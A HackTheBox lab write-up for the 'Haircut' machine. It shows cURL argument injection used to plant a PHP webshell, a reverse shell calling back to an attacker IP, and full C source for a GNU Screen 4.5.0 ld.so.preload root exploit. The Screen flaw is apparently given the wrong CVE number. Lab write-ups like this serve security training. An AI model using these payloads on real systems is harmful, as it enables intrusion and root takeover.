HTB: Haircut Writeup

Haircut - HackTheBox Writeup

Machine Information

AttributeDetails
NameHaircut
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Haircut is a medium-difficulty Linux machine that demonstrates the dangers of command injection in web applications and vulnerable privilege escalation vectors. The challenge begins with HTTP enumeration where a PHP application invoking cURL is discovered. By leveraging parameter injection in the cURL command, we upload a PHP webshell to the server’s /uploads/ directory, gaining remote code execution as the www-data user. Privilege escalation is achieved by exploiting a known vulnerability (CVE-2015-4556) in an outdated version of GNU Screen with SUID permissions, allowing us to escalate to root.

TL;DR: Web fuzzing → cURL command injection → webshell upload → RCE as www-data → Screen SUID exploit → root access


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.10.24

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.10.0 (Ubuntu)

The target is running OpenSSH on port 22 and NGINX on port 80. No obvious misconfigurations in the SSH banner, so HTTP is the primary attack surface.

Service Enumeration

HTTP Service (Port 80):

A basic web server with the title “HTB Hairdresser” is running. Directory enumeration reveals two interesting endpoints:

Terminal window
gobuster dir --url http://10.10.10.24 \
--wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt \
-x php -t 50

Key Findings:

  • /uploads/ directory (301 redirect) - writable directory for hosting files
  • /exposed.php endpoint (200 status) - accepts user input

Visiting /exposed.php reveals a simple form with an input field labeled “URL” and a “Go” button, suggesting the application sends HTTP requests.

Vulnerability Assessment

Identified Vulnerabilities:

  1. Command Injection via cURL - The /exposed.php endpoint likely passes user input directly to the curl command without sanitization
  2. Writable Upload Directory - The /uploads/ folder is accessible and writable, allowing us to host malicious PHP files
  3. No Input Validation - Special characters and command-line flags are not filtered

Initial Foothold

Exploitation Path

Step 1: Confirm cURL Usage

To confirm the application uses cURL, we set up a netcat listener on our attacking machine:

Terminal window
nc -nlvp 8000

We then submit our attacker IP through the exposed.php form:

http://10.10.14.70:8000/

The listener captures the request:

connect to [10.10.14.70] from (UNKNOWN) [10.10.10.24] 37830
GET / HTTP/1.1
Host: 10.10.14.70:8000
User-Agent: curl/7.47.0
Accept: */*

The User-Agent: curl/7.47.0 confirms cURL is being used server-side.

Step 2: Create a PHP Webshell

We create a simple PHP webshell that executes commands via GET parameters:

Terminal window
cat > shell.php << 'EOF'
<?php system($_GET["melo"]); ?>
EOF

Step 3: Host the Webshell Locally

On our attacking machine, we start a Python HTTP server in the directory containing shell.php:

Terminal window
python3 -m http.server 8000

Step 4: Inject cURL Parameters to Download and Save the Shell

The key insight is that cURL accepts the -o flag to specify an output file. Since the application passes our input to cURL, we can inject this flag:

http://<ATTACKER_IP>:8000/shell.php -o uploads/shell.php

When submitted, the server executes:

Terminal window
curl "http://<ATTACKER_IP>:8000/shell.php -o uploads/shell.php"

This downloads our shell.php and saves it to the /uploads/ directory. We verify success with a GET request on our Python server:

10.10.10.24 - - [15/Jul/2024 05:24:55] "GET /shell.php HTTP/1.1" 200 -

Step 5: Verify Remote Code Execution

We test RCE by executing the id command:

Terminal window
curl http://10.10.10.24/uploads/shell.php?melo=id

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 6: Upgrade to Interactive Reverse Shell

A one-liner webshell is limited. We download a more robust PHP reverse shell:

Terminal window
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O rev.php

We modify the shell configuration:

$ip = '10.10.14.70'; // Attacker IP
$port = 4444; // Attacker port

We host this shell and inject it the same way:

http://<ATTACKER_IP>:8000/rev.php -o uploads/rev.php

On our attacking machine, we start a netcat listener:

Terminal window
nc -nlvp 4444

We trigger the reverse shell by accessing it:

Terminal window
curl http://10.10.10.24/uploads/rev.php

We receive a reverse shell connection as www-data:

listening on [any] 4444 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.10.24] 55806
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The user flag is located at /home/maria/user.txt.


Privilege Escalation

SUID Enumeration

With shell access as www-data, we search for SUID binaries that might be exploitable:

Terminal window
find / -perm /4000 2>/dev/null

Key Finding:

/usr/bin/screen-4.5.0

This is version 4.5.0 of GNU Screen, which is vulnerable to CVE-2015-4556 — a privilege escalation vulnerability that allows local users to write to arbitrary files via the -L option when logging is enabled.

Exploitation: Screen CVE-2015-4556

The vulnerability allows us to create a file in /etc/ld.so.preload, which causes the system to load a malicious shared library before executing binaries. This gives us arbitrary code execution as root.

Step 1: Create the Malicious Shared Library

We create libhax.c, which uses the constructor attribute to execute code when the library is loaded:

Terminal window
cat << 'EOF' > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF

This code:

  • Changes ownership of /tmp/rootshell to root (uid 0, gid 0)
  • Sets SUID bit on /tmp/rootshell
  • Removes /etc/ld.so.preload to clean up

We compile it as a shared object:

Terminal window
export PATH=/usr/bin:$PATH
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

Step 2: Create the Root Shell Binary

We create rootshell.c, which elevates privileges and spawns a shell:

Terminal window
cat << 'EOF' > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF

We compile it:

Terminal window
gcc -o /tmp/rootshell /tmp/rootshell.c

Step 3: Trigger the Exploit Using Screen

We navigate to /etc and use Screen’s -L (logging) option to write to /etc/ld.so.preload:

Terminal window
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

This command:

  • screen -D -m - Runs Screen in detached mode
  • -L - Enables logging to a file named ld.so.preload
  • The output (echo -ne "\x0a/tmp/libhax.so") is redirected to /etc/ld.so.preload

The umask ensures the file is readable by the loader.

Step 4: Execute the Root Shell

We verify the exploit worked:

Terminal window
screen -ls
/tmp/rootshell

The /tmp/rootshell binary now has SUID bit set by libhax, and when executed, our constructor function runs first under root context, properly setting permissions. Running it gives us a root shell:

Terminal window
id

Output:

uid=0(root) gid=0(root) groups=0(root),33(www-data)

We verify the binary permissions:

Terminal window
ls -al /tmp/rootshell

Output:

-rwsr-xr-x 1 root root 8816 Jul 15 13:06 /tmp/rootshell

The root flag is located at /root/root.txt.


Attack Chain Summary

Web Enumeration (Gobuster)
Discover /exposed.php (cURL-based endpoint)
Identify cURL via User-Agent header (netcat)
Create PHP webshell (shell.php)
Inject cURL parameters (-o flag) to upload shell
Remote Code Execution as www-data
Upgrade to reverse shell (rev.php)
Interactive shell access
Enumerate SUID binaries (find /perm)
Discover vulnerable Screen 4.5.0
Compile libhax.so (privilege escalation library)
Compile rootshell binary
Use Screen -L flag to write /etc/ld.so.preload
Execute rootshell with SUID bit
Root shell obtained

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterHTTP directory and file enumeration
netcatListening for reverse shells and capturing network traffic
curlTesting web endpoints and uploading payloads
python3 -m http.serverHosting PHP payloads for download
gccCompiling C code (libhax.so and rootshell)
screenExploiting CVE-2015-4556 for privilege escalation

Key Learnings

Techniques Practiced

  • HTTP Fuzzing & Enumeration - Using gobuster to discover hidden endpoints and directories
  • Command Injection - Identifying and exploiting unsafe use of system commands (cURL parameter injection)
  • File Upload Exploitation - Leveraging writable directories to host webshells
  • Reverse Shell Techniques - Upgrading from basic command execution to interactive shells
  • SUID Binary Exploitation - Researching CVEs for setuid binaries and understanding privilege escalation vectors
  • Shared Object Injection (LD_PRELOAD) - Using constructor functions and preloading libraries for code execution
  • Exploit Chain Construction - Combining multiple vulnerabilities into a complete attack path

Lessons Learned

  1. User Input Sanitization is Critical - Directly passing user input to system commands (cURL, system calls) is dangerous. Always validate, escape, or use safer APIs.

  2. Writable Directories are Attack Surface - Upload directories accessible via the web create opportunities for RCE if combined with code execution vulnerabilities.

  3. Outdated Software is a Major Risk - GNU Screen 4.5.0’s vulnerability was known and patched. Regular updates are essential for security.

  4. SUID Binaries Require Careful Vetting - Setuid binaries are high-value targets. Keeping them updated and monitoring for CVEs is crucial.

  5. Constructor Functions Enable Early Code Execution - The __attribute__ ((__constructor__)) in C allows code to run during library initialization, before main(), enabling powerful exploitation techniques.

  6. Defense in Depth Matters - Even with a compromised web application, limiting the sudo privileges and keeping SUID binaries patched could have prevented root compromise.

  7. Environment Variables Matter - PATH issues during compilation (gcc: error trying to exec 'cc1') require understanding how the system finds binaries and tools.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>